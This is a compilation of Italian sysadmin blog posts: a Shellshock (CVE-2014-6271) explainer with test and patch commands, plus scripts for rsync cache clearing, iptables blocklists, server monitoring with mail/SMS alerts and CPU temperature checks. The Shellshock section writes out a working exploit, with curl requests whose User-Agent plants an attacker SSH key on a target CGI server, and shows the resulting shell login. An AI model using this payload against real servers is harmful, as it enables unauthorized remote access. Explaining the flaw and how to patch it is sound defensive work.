

Shellshock vulnerability BASH

BASH CVE-2014-6271 vulnerability

Vulnerabilità grave della bash, la command line più diffusa dei sistemi Linux, associata all'utilizzo delle CGI consente di prendere il controllo del server.

Secondo Robert Graham, esperto di sicurezza di Errata Security, la falla che interessa Bash è probabilmente molto più grande e rischiosa di Heartbleed, l'enorme falla di Internet legata al sistema OpenSSL emersa lo scorso aprile.

- [CentOS](#)
- [Debian](#)
- [Redhat\(link is external\)](#)
- [Ubuntu](#)

I sistemi impattati sono principalmente le distribuzioni basate su RHEL, Debian, ma tutte quelle che usano la bash sono a rischio vulnerabilità.

<http://youtu.be/ArE0VHQu9nk>

La risoluzione è molto semplice, per le RHEL based, quindi RHEL stessa, Fedora, CentOS basta eseguire l'upgrade della bash:

```
yum upgrade bash
```

Mentre per le Debian based:

```
apt-get update; apt-get install bash
```

Per Debian 6 potrebbe essere necessario cambiare il repository nel file source.list, è possibile scaricare uno script che esegue la verifica della vulnerabilità sulla bash e poi esegue l'upgrade, scarica il file ZIP da estrarre sul sistema "[shellshock.zip](#)", estrai il pacchetto, dai i permessi di esecuzione e lancialo:

```
wget
http://www.lbit-solution.it/wp-content/plugins/download-monitor/download.php?id=13
unzip shellshock.zip
chmod +zx shellshock.sh
./shellshock.sh
```

Lo script scrive nella directory /root/ il file shellshock.txt, al suo interno sono presenti le informazioni della bash e la presenza della vulnerabilità prima e dopo l'upgrade.

Per testare se la versione della BASH è afflitta dalla vulnerabilità CVE-2014-6271 basta lanciare questo comando:

```
env x='() { :}; echo vulnerabile' bash -c "echo prova"
```

Se riceviamo a video la parola “vulnerabile” e poi “prova” vuol dire che dobbiamo eseguire l’upgrade, nel caso ci fosse solo “prova” oppure “bash: warning: x: ignoring function definition attempt” vuol dire che la BASH in uso non è vulnerabile.

Perché avere paura del shellshock e chi deve correre ai ripari:

La vulnerabilità descritta in questo articolo consente di prendere il pieno controllo del server bersaglio solo se tale server ha in uso le CGI, questo perché è possibile inserire il settaggio si “X” con le istruzioni di nostro interesse nell’environment del server sfruttando l’HTTP_AGENT.

```
curl -k -H 'User-Agent: () { :}; /bin/mkdir /var/www/.ssh'  
http://BERSAGLIO/cgi-bin/script.py  
curl -k -H 'User-Agent: () { :}; echo "ssh-rsa AAAAB3wAAAQEA[...]JXIQ== www-  
data@testserv" \  
>/var/www/.ssh/authorized_keys' http://BERSAGLIO/cgi-bin/script.py  
ssh www-data@BERSAGLIO  
www-data@BERSAGLIO:~$ uname -a  
Linux BERSAGLIO 2.6.32-431.11.2.el6.x86_64 #1 SMP Tue Mar 25 19:59:55 UTC  
2014 x86_64 x86_64 x86_64 GNU/Linux
```

Cosa abbiamo fatto: avevamo precedentemente individuato sul server BERSAGLIO la presenza delle CGI e dello script script.py, con il curl gli abbiamo inviato una richiesta falsando il nostro “User-Agent”, nel suo interno sfruttiamo la vulnerabilità inserendo la creazione di una directory :

```
User-Agent: () { :}; /bin/mkdir /var/www/.ssh
```

gli passiamo la nostra chiave per poter effettuare accesso in SSH

```
User-Agent: () { :}; echo "ssh-rsa AAAAB3wAAAQEA[...]JXIQ== www-  
data@testserv" \  
>/var/www/.ssh/authorized_keys
```

ora abbiamo completo accesso al terminale.

Questa vulnerabilità deve spaventare chi espone su internet un web server, tutti gli altri sistemi che erogano un servizio diverso hanno meno probabilità di essere bucati, ma comunque è sempre meglio fare l’upgrade della bash.

Per i sistemi Debian e Debian based non supportati, come la 5 c’è questo script pubblicato su

[“https://dmsimard.com/2014/09/25/the-bash-cve-2014-6271-shellshock-vulnerabil](https://dmsimard.com/2014/09/25/the-bash-cve-2014-6271-shellshock-vulnerabil)

[ity/](#)"

```
#!/bin/bash
# dependencies
apt-get update; apt-get install build-essential gettext bison

# get bash 3.2 source
wget http://ftp.gnu.org/gnu/bash/bash-3.2.tar.gz
tar zxvf bash-3.2.tar.gz
cd bash-3.2

# download and apply all patches, including the latest one that patches
CVE-2014-6271
# Note: CVE-2014-6271 is patched by release 52.
# Release 53 is not out on the GNU mirror yet - it should address
CVE-2014-7169.
for i in $(seq -f "%03g" 1 52); do
    wget -nv http://ftp.gnu.org/gnu/bash/bash-3.2-patches/bash32-$i
    patch -p0 < bash32-$i
done

# compile and install to /usr/local/bin/bash
./configure && make
make install

# point /bin/bash to the new binary
mv /bin/bash /bin/bash.old
ln -s /usr/local/bin/bash /bin/bash
```

[Svuotare directory con rsync](#)

Problema: svuotare al cache dei apache in poco tempo.

Il modulo `mod_disk_cache.c` di apache velocizza l'erogazione dei contenuti appoggiano la cache all'interno di una directory.

Arriva il giorno che devi necessariamente svuotare questa directory e non puoi usare il comando `htcacheclean`, la cosa più ovvia da fare è usare:

```
rm -Rf /var/cache/mod_disk
```

Restiamo a guardare il terminale fermo, immobile e lo spazio disco diminuire lentamente, ma proprio lentamente, questo perché i dati come numerosità sono tantissimi e come dimensione circa 20 Giga, per rimuovere la directory

abbiamo dovuto fermare il demone HTTPD e non erogare più il servizio WEB, a questo punto spostiamo la scrittura della cache, facciamo partire Apache 2 e sfruttiamo il comando **rsync** per velocizzare lo svuotamento della directory. Non la cancelleremo ma la svuoteremo, visto che l'eliminazione era decisamente lunga.

Solitamente **rsync** si utilizza per sincronizzare due directory, se usiamo questo comando per sincronizzare una dir vuota con l'opzione **-delete**, allora sincronizzeremo la piena con la vuota cancellando quello che è presente nella piena ma non nella vuota.

```
mkdir /var/cache/vuota
rsync -a /var/cache/vuota/ /var/cache/mod_disk --delete
rm -Rf /var/cache/vuota /var/cache/mod_disk
```

Il comando **rsync** impiega un quarto del tempo del comando **rm**.

[\[NETFILTER\] Bloccare lista di IP con iptables](#)

Aumentare la sicurezza del nostro firewall bloccando gli indirizzi IP noti per attacchi

Il sito internet BLOCKLIST.DE mette a disposizione file txt contenenti gli indirizzi IP che hanno attaccato i loro clienti nelle ultime 48 ore.

E' possibile scaricarsi le liste suddivise per attacco, SSH, DDOS, FTP, MAIL, SPAM, ecc.. oppure una lista completa di tutti gli IP all'indirizzo <http://lists.blocklist.de/lists/>.

Vediamo ora come interagire con il nostri iptables senza modificare la configurazione ottimale raggiunta con ore ed ore di test.

Uno script bash si occupa di scaricare la lista dal sito blocklist.de, ne legge il suo contenuto e, prima prova a togliere la regola per evitare di avere regole ridondanti:

```
/sbin/iptables -D INPUT -t filter -s $blkip -j DROP 2> /dev/null
```

e poi ne applica una

```
/sbin/iptables -A INPUT -t filter -s $blkip -j DROP
```

per ultima cosa scrive il comando per la rimozione della regola in un file, in modo da poterlo richiamare qualora si volesse pulire la catena di INPUT dagli IP sella black list senza buttare giù il firewall.

```
echo "/sbin/iptables -D INPUT -t filter -s $blkip -j DROP" >> $DROPRULE
```

Di seguito lo script, da lanciare con `./iptables-blk.sh start`

```
#!/bin/sh
start(){
echo "start"
BLACKFILE="/usr/local/etc/blacklist.txt"
DROPRULE="/usr/local/etc/blacklistdrop.txt"
BLOCKLIST_URL="http://lists.blocklist.de/lists/all.txt"
> $DROPRULE
curl $BLOCKLIST_URL |grep -oE
'((1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.){3}(1?[0-9][0-9]?|2[0-4][0-9]|25[0-5]
)' > $BLACKFILE
if [ $? -eq 0 ]
then
for blkip in `cat $BLACKFILE`; do
echo "ACCESSO NEGATO A: $blkip"
/sbin/iptables -D INPUT -t filter -s $blkip -j DROP 2>/dev/null
/sbin/iptables -A INPUT -t filter -s $blkip -j DROP
echo "/sbin/iptables -D INPUT -t filter -s $blkip -j DROP" >> $DROPRULE
done
else
echo "$BLOCKLIST_URL ERROR"
fi
}

stop(){
DROPRULE="/usr/local/etc/blacklistdrop.txt"
echo "stop"
cat $DROPRULE|while read resetrule; do
echo "$resetrule"
$(resetrule)
done
}

restart(){
stop
sleep 5
start
}

case "$1" in
start)
```

```

start
;;
stop)
stop
;;

restart)
restart
;;
*)
echo "Usage: firewall {start|stop|restart}"
exit 1
esac

exit 0

```

Monitoraggio Web Server con mail e sms alerting

Esigenza: monitorare il servizio erogato da alcuni server e ricevere allarmi via MAIL e SMS in caso di degrado o fermo servizio

Lo script qui sotto potrebbe sembrare molto complesso ma realmente sono pochissimi comandi della bash che, in base al risultato ottenuto, producono dei file, uno è l'html per la mail, l'altro è un file PHP per l'invio di SMS utilizzando Subito SMS come gateway SMS.

Il servizio da monitorare è Apache e MySQL, utilizzeremo bash e PHP per fare questo.

Per prima cosa creiamo un file php da mettere su ogni server che vogliamo monitorare, noi abbiamo inserito una semplice connessione al DB:

```

<?php
$link = mysql_connect('127.0.0.1','username','password');
  if (!$link) { die('<h1>Could not connect to MySQL: </h1>' .
mysql_error());
  } echo '<h1>Connection OK</h1>'; mysql_close($link);
  //usleep(17000000);
?>

```

abbiamo messo il file chk.php nella root directory dei rispettivi web server.

Lo script in bash è poi lanciato da un server collegato ad una linea ADSL

7Mb/s residenziale, non in una farm con connettività 100Mb/s.

Per prima cosa verificiamo che abbiamo connettività, facciamo un ping a google.it, siamo sicuri che al 99.99% il server è UP e la mancata risposta deriverà per altri fattori, fatto questo prendiamo il risultato e controlliamo che la risposta del PING sia soddisfacente e che nel momento di esecuzione dello script non ci sia un degrado di linea.

Superati i controlli della linea ADSL da cui effettuiamo i check, tramite il comando "wget" scarichiamo il file chk.php, il quale per produrre l'HTML dovrà connettersi al DB, in questo modo riusciamo a controllare che l'istanza MYSQL è UP e che risponde in tempi accettabili, ora in base all'esito ci regoliamo di conseguenza:

1. Il file viene scaricato, procediamo con il controllo del tempo impiegato per il download
2. Il file non viene scaricato, proviamo ad effettuare il riavvio del demone HTTPD

Nel caso uno decidiamo un tempo entro il quale i valori sono normali, superato questo tempo inviamo una mail indicando tutti i parametri, il ping verso google.it per capire lo stato della linea ADSL, il ping verso il server e tutto quello che riteniamo necessario, stessa cosa con l'SMS.

Nel caso due apriamo una connessione SSH e da remoto lanciamo il comando per il restart del demone, i sistemi sono tutti CentoOS, quindi il comando è univoco "/etc/init.d/httpd restart", aspettiamo 5 secondi e vediamo se ora è possibile scaricare il file, ora ci troviamo di nuovo davanti a due possibilità:

1. Il file viene scaricato
2. Il file non viene scaricato

Caso uno, inviamo solo una mail per avvisare che il servizio è garantito ma c'è stato bisogno del restart di APACHI, nel secondo caso prepariamo sia la MAIL che l'SMS per avvisare che il sistema è fermo.

L'SMS lo troviamo più affidabile della mail, anche per copertura di rete, problemi con mail server, mailbox piena, ecc..., potrebbero esserci mille problemi per i quali non leggiamo la posta, ma un SMS è più immediato.

Si seguito lo script utilizzato:

```
#!/bin/bash
# LANCIARE LO SCRIPT PASSANDOGLI
# L'INDIRIZZO IP DA CONTROLLARE

ping google.it -c 2
if [ $? -eq 0 ]; then # SE HO CONNETTIVITA' PROSEGUO
    GPING=$(ping -c 2 google.it|awk -F=" " '{print $4}'|sed -e '/^$/d'|tail
-1|awk -F\. '{print $1}')
    PINGSERVER=$(ping -c 2 $1|awk -F=" " '{print $4}'|sed -e '/^$/d'|tail -1|awk
```

```

-F\.'{print $1}')

# SE LA RETE E' LENTA ESCO DALLO SCRIPT
if [ "`echo $GPING`" -gt "240" ]; then
echo "IMPOSSIBILE VERIFICARE LO STATO DEI SERVER, RETE CERRETO GUIDI
LENTA"
else

#PREPARO LO SCRITP PHP PER L'INVIO DEGLI SMS
cat > /tmp/ERRORSMS.php << MOS0123
<?php
$username="username";
$password="password";
$mittente="SERVER DOWN";
$credito_terminato=10;
$email="supporto@lbit-solution.it";
$lunghezza=160;
$server_credito_residuo="http://www.subitosms.it/gateway.php?username=".urlencode($username)."&password=".urlencode($password);
$destinatario="+393391234567,+393491234567,+393397654321";
$credito=trim(file_get_contents($server_credito_residuo));

if ($credito=='non autorizzato') {
mail($email,
'Script di invio SMS',
"Lo script per l'invio degli SMS non funziona, forse hai sbagliato la password.",
"From: sms@lbit-solution.it");
echo "<meta http-equiv=\"Refresh\" content=\"0;URL=$pagina_ko\" />";
}

$credito=str_replace("credito:", "", $credito);

// Verifica il credito e avvisa in caso di credito in fase finale
if ($credito<=$credito_terminato) {
mail($email,
'Script di invio SMS - credito residuo',
"Lo script per l'invio ha un residuo di $credito SMS.",
"From: sms@lbit-solution.it");
}

MOS0123
#FINE PREPARO LO SCRITP PHP PER L'INVIO DEGLI SMS

# VERIFICO CHE SIA STATO PASSATO L'INDIRIZZO IP DA CONTROLLARE
if [ -z $1 ]; then
echo "SEI UN IDIOTA, QUESTO SCRIPT MANDA SMS"

cat > /tmp/alert_server.html <<DT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

```



```

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<title>IDIOTA USA SCRIPT</title>
<p>Un idiota si &egrave; collegato in SSH e sta lanciando lo script per il
monitoraggio dei server di
esercizio senza avergli passato il parametro INDIRIZZO IP allo script stesso.
Se non ci fosse questo
controllo ora andrebbero buttati diversi eurini guadagnati con il sudore, o
quasi. Ora hai il coraggio
di avvisare uno dei numeri in elenco per dirgli che hai fatto una
cavolata?<br />
Domenico Tricarico 3391234567<br />
Roberto Massimi 3491234567<br />
Mirko Capasso 3397654321</p>
<p><b>$(hostname)</b> dice: <span >$(/usr/bin/fortune)</span></p>
DT
(cat <<EOCAT
Subject: IDIOTA CONNESSO
MIME-Version: 1.0
Content-Type: text/html
Content-Disposition: inline
From:$(hostname) <no-replay@lbit-solution.it>
Reply-To:Supporto LBiT<supporto@lbit-solution.it>
EOCAT
cat /tmp/alert_server.html) | /usr/sbin/sendmail supporto@lbit-solution.it

# HO INVIATO LA MAIL PERCHE' NON HAI PASSATO L'IP DA CONTROLLARE

else

    time_sito=`(time -p wget http://$1/chk.php > /dev/null) 2>&1 | grep
real|awk '{print $2}'|awk -F\ . '{print $1}'`
    if [ -e chk.php ]; then # SE IL FILE ESISTE
        echo "FILE TROVATO, PROSEGUO CON I CONTROLLI SUL TEMPO DI DOWNLOAD"
        if [ "`echo $time_sito`" -gt "15" ]; then # VERIFICO IL TEMPO DI
DOWNLOAD
            # IL DOWNLOAD DELLA PAGINA E' AVVENUTO IN TROPPO TEMPO

            echo "SERVER $1 LENTO"

cat >> /tmp/ERRORSMS.php << MOS01232
\${testo}="Server $1 eroga un pessimo servizio. Download page in $time_sito
secondi ASSISTENZA ARUBA 05750501";
\${server_invio}=\${server_credito_residuo}.= "&testo=".urlencode(\${testo}).
"&mitt=".urlencode(\${mittente}).
"&dest=".urlencode(\${destinatario});
\${invio}=trim(file_get_contents(\${server_invio}));
?>
MOS01232

```

```
/usr/bin/php /tmp/ERRORSMS.php
echo "INVO SMS IN CORSO"
```

```
cat > /tmp/alert_server.html <<DT2
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<title>Alert Server $1 down</title>
</head>
<body>
<h1 >$1 SERVIZIO SCADENTE</h1>
<h3>Il server sta erogando un pessimo servizio, verificare!</h3>

<p>Probabilmente il server $1 ha problemi, la rete da cui sto testando
&grave; perfettamente
funzionante, riesco a raggiungere google in $(echo $GPING) ms e il server $1
in $($PINGSERVER) ms.<p>

<p>Intervenire subito sul server <b>$1</b> e contattare i seguenti
riferimenti:<br />
Domenico Tricarico 3391234567<br />
Roberto Massimi 3491234567<br />
Mirko Capasso 3397654321</p>

<p>Se non &grave; possibile accedere contattare <b>ASSISTENZA ARUBA <span
>05750501</span></b><p>

<p><b>$(hostname)</b> dice: <span >$(/usr/bin/fortune)</span></p>
DT2
```

```
(cat <<EOCAT2
Subject: [$1] SERVER EROGA UN PESSIMO SERVIZIO
MIME-Version: 1.0
Content-Type: text/html
Content-Disposition: inline
From:$(hostname) <no-replay@lbit-solution.it>
To: Supporto LBiT<supporto@lbit-solution.it>
Reply-To:Supporto LBiT<supporto@lbit-solution.it>
EOCAT2
cat /tmp/alert_server.html) | /usr/sbin/sendmail supporto@lbit-solution.it
    echo "INVIO MAIL IN CORSO"
    rm /tmp/ERRORSMS.php
    rm /tmp/alert_server.html
    rm chk.php
else # SE IL FILE ESISTE IL SERVER E' FUNZIONANTE
    echo "SERVER $1 REGOLARE"
    fi # FINE SE IL FILE ESISTE
    rm chk.php

else # SE IL FILE NON ESISTE IL SERVER NON EROGA SERVIZIO O NON E'
```

RAGGIUNGIBILE

```
echo "SERVER $1 FERMO"
echo "RESTART DEL DEMONE HTTPD SUL SERVER $1"
ssh $1 "/etc/init.d/httpd restart"
sleep 5
time_sito=`(time -p wget http://$1/chk.php > /dev/null) 2>&1 | grep
real|awk '{print $2}'|awk -F\. '{print $1}'`
if [ -e chk.php ]; then
    echo "SERVER DI NUOVO ONLINE"
    # INVIO MAIL PER SERVER DI NUOVO ONLNE
cat > /tmp/alert_server.html <<DT3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<title>APACHE RESTART</title>
</head>
<body>
<h1 >APACHE RESTART</h1>
<h3>Il server $1 &grave; di nuovo online</h3>
<p>Probabilmente il server $1 aveva il demone APACHE down, dopo aver
effettuato un restart &grave; tornato nuovamente on-line e ora i servizi
erogati sono nuovamente garantiti.<br />
La rete da cui sto testando &grave; perfettamente funzionante, riesco a
raggiungere google in $(echo $GPING) ms.<p>

<p>Di seguito il risultato del comando uptime:<br />
$(ssh $1 "uptime")</p>

<p><b>$(hostname)</b> dice: <span >$(/usr/bin/fortune)</span></p>
DT3
(cat <<EOCAT3
Subject: [$1] RESTART APACHE
MIME-Version: 1.0
Content-Type: text/html
Content-Disposition: inline
From:$(hostname) <no-replay@lbit-solution.it>
To: Supporto LBiT<supporto@lbit-solution.it>
Reply-To:Supporto LBiT<supporto@lbit-solution.it>
EOCAT3
cat /tmp/alert_server.html) | /usr/sbin/sendmail supporto@lbit-solution.it
echo "INVIO MAIL IN CORSO"
# FINE INVIO MAIL PER SERVER DI NUOVO ONLNE
exit 0
fi
cat > /tmp/alert_server.html <<DT3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<title>Alert Server $1 down</title>
```

```

</head>
<body>
<h1 >$1 SERVIZI NON EROGATI</h1>
<h3>Il $1 non sta erogando servizi, verificare!</h3>
<p>Probabilmente il server $1 &grave; spento o non raggiungibile, la rete da
cui sto testando &grave; perfettamente
funzionante, riesco a raggiungere google in $(echo $GPING) ms.<p>

<p>Intervenire subito sul server <b>$1</b> e contattare i seguenti
riferimenti:<br />
Domenico Tricarico 3391234567<br />
Roberto Massimi 3491234567<br />
Mirko Capasso 3397654321</p><br />
<p>Se non &grave; possibile accedere contattare <b>ASSISTENZA ARUBA <span
>05750501</span></b><p>
<p><b>$(hostname)</b> dice: <span >$(/usr/bin/fortune)</span></p>
DT3
(cat <<EOCAT3
Subject: [$1] ALERT SERVER DOWN
MIME-Version: 1.0
Content-Type: text/html
Content-Disposition: inline
From:$(hostname) <no-replay@lbit-solution.it>
To:Supporto LBiT<supporto@lbit-solution.it>
Reply-To:Supporto LBiT<supporto@lbit-solution.it>
EOCAT3
cat /tmp/alert_server.html) | /usr/sbin/sendmail supporto@lbit-solution.it
echo "INVIO MAIL IN CORSO"

cat >> /tmp/ERRORSMS.php << MOS01233
\${testo}="Server $1 non raggiungibile, ASSISTENZA ARUBA 05750501";
\${server_invio}=\${server_credito_residuo}="&testo=".urlencode(\${testo}).
"&mitt=".urlencode(\${mittente}).
"&dest=".urlencode(\${destinatario});
\${invio}=trim(file_get_contents(\${server_invio}));
?>
MOS01233
    /usr/bin/php /tmp/ERRORSMS.php
    echo "INVIO SMS IN CORSO"
    fi # CHIUDO SE ESISTE
fi
fi
fi

touch /tmp/hogirato

```

Per finire mettiamo lo script in crontab:

```
02,12,22,32,42,52 * * * * /media/backup/check_server.sh 92.160.243.55
03,13,23,33,43,53 * * * * /media/backup/check_server.sh 95.160.243.56
04,14,24,34,44,54 * * * * /media/backup/check_server.sh 95.160.243.57
05,15,25,35,45,55 * * * * /media/backup/check_server.sh 95.160.243.58
```

Controllo temperatura cpu server linux

Esigenza: controllare la temperatura della cpu di alcuni server linux.

Due delle macchine che compongono l'infrastruttura di backup sono allocate in una stanza **non climatizzata**, la temperatura non sale mai a livelli di guardia, comunque è sempre bene tenere sotto controllo la temperatura del processore.

Il comando "sensors" rileva i vari sensori presenti nell'hardware della macchina, nel mio caso posso sfruttare la temperatura delle CPU, il seguente script prende un solo valore in considerazione. Difficilmente avremo una CPU a 28°C e una a 65°C.

Lo script prende la temperatura dal comando sensor e manipola l'output, ottiene la temperatura esterna tramite ClassMeteo nella pagina di Yahoo, questo per dare evidenza della situazione climatica; un esempio banale è quello di avere una temperatura esterna di 36°C e le CPU a 45°C, lo consideriamo normale, ma avere l'esterna a -5°C e l'interna a 65°C dovrebbe farci pensare, soprattutto se le CPU non stanno lavorando, magari ci siamo solo dimenticati l'impianto di riscaldamento acceso e su una temperatura decisamente tropicale.

Effettuato il controllo, cercando la soglia massima oltre la quale deve far partire l'allarme è di 55°C, la soglia massima consigliata dal produttore è di 65°C, per questo mi prendo un "margine" di 10°C, per dare il tempo di controllare in SSH e di intervenire in sede.

```
#!/bin/bash
```

```
temp=$(sensors|grep Core|sed -e's/[^0-9.]//g' -e 's/^0//g'|tail -1|awk -F"." '{print $1}')
```

```
wget http://it.meteo.yahoo.com/italia/toscana/cerreto-guidi-12846264/
external=$(grep -i "<div temp-c \>" index.html |tr "<" "\n"| grep -i "day-
temp-current temp-c"|sed -e 's/[^0-9.]//g')
```

```
clear
```

```
echo "Temperatura interna: $temp gradi centigradi"
echo "Temperatura esterna: $external gradi centigradi"
if [ $temp -gt 55 ]; then
cat > /tmp/chktmp.eml <<DT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<title>Tempi di apertura sito</title>
<h1 >TEMPERATURA ALTA</h1>
<h2>La temperatura del server <b>$(hostname)</b> &egrave; di <span ><b>$(echo
$temp) &deg; C</b></span>.</h2>
<p>La temperatura esterna &egrave; di <b>$(echo $external)&deg; C</b>
rilevata da <a
href="http://it.meteo.yahoo.com/italia/toscana/cerreto-guidi-12846264/">Class
Meteo</a>.</p>
<br />
<br />
<p>Rispondendo a questa mail contatterai il gruppo di supporto LBiT soluzioni
informatiche.</p>
<p>Mail inviata da $(hostname).</p>
DT
(cat <<EOCAT
Subject: ALLARME TEMPERATURA $(echo $hostnama) $(echo $temp)
MIME-Version: 1.0E
Content-Type: text/html
Content-Disposition: inline
From:$(hostname).lbit-solution.it <no-replay@lbit-solution.it>
To: Gruppo Supporto LBiT soluzioni informatiche <supporto@lbit-solution.it>
EOCAT
```

```
cat /tmp/chktmp.eml) | /usr/sbin/sendmail supporto@lbit-solution.it
amministrazione@lbit-solution.it
```

```
fi
```

```
rm -f index.htm*
```

^M carattere di fine riga

Il carattere ^M è il simbolo di fine riga utilizzato dagli editor windows e mal interpretati da unix/linux.

Prendiamo questo file, scritto con il notepad:

```
$ cat appo.sh
#!/bin/bash
echo "ciao"
```

Questo dovrebbe stampare "ciao", ma se eseguito va in errore:

```
$ ./appo.sh
./appo.sh: line 2: $'\r': command not found
```

Se aggiungiamo l'opzione -v al cat, vediamo che...

```
$ cat -v appo.sh
#!/bin/bash^M
^M
echo "ciao"^M
```

Ops.. i ^M.. questi vengono interpretati come caratteri e non come "a capo"..

ripuliamo il file..

abbiamo un modo velocissimo per rimediare, dalla shell, sia usando un comando apposito sia utilizzando il perl, il risultato è lo stesso.

Dalla shell, digitate:

```
dos2unix appo.sh
```

Questo sovrascrive il file stesso convertendo i ^M (nelle versioni linux,

nelle unix dovete reindirigere su un nuovo file).

```
$ dos2unix appo.sh
dos2unix: converting file appo.sh to Unix format ...
$ cat -v appo.sh
#!/bin/bash
echo "ciao"
```

oppure, per utilizzare il perl, digitate:

```
$ perl -pi -e 's/\r//g' appo.sh
$ cat -v appo2.sh
#!/bin/bash
echo "ciao"
```

Adesso funziona..

```
$ ./appo.sh
ciao
```
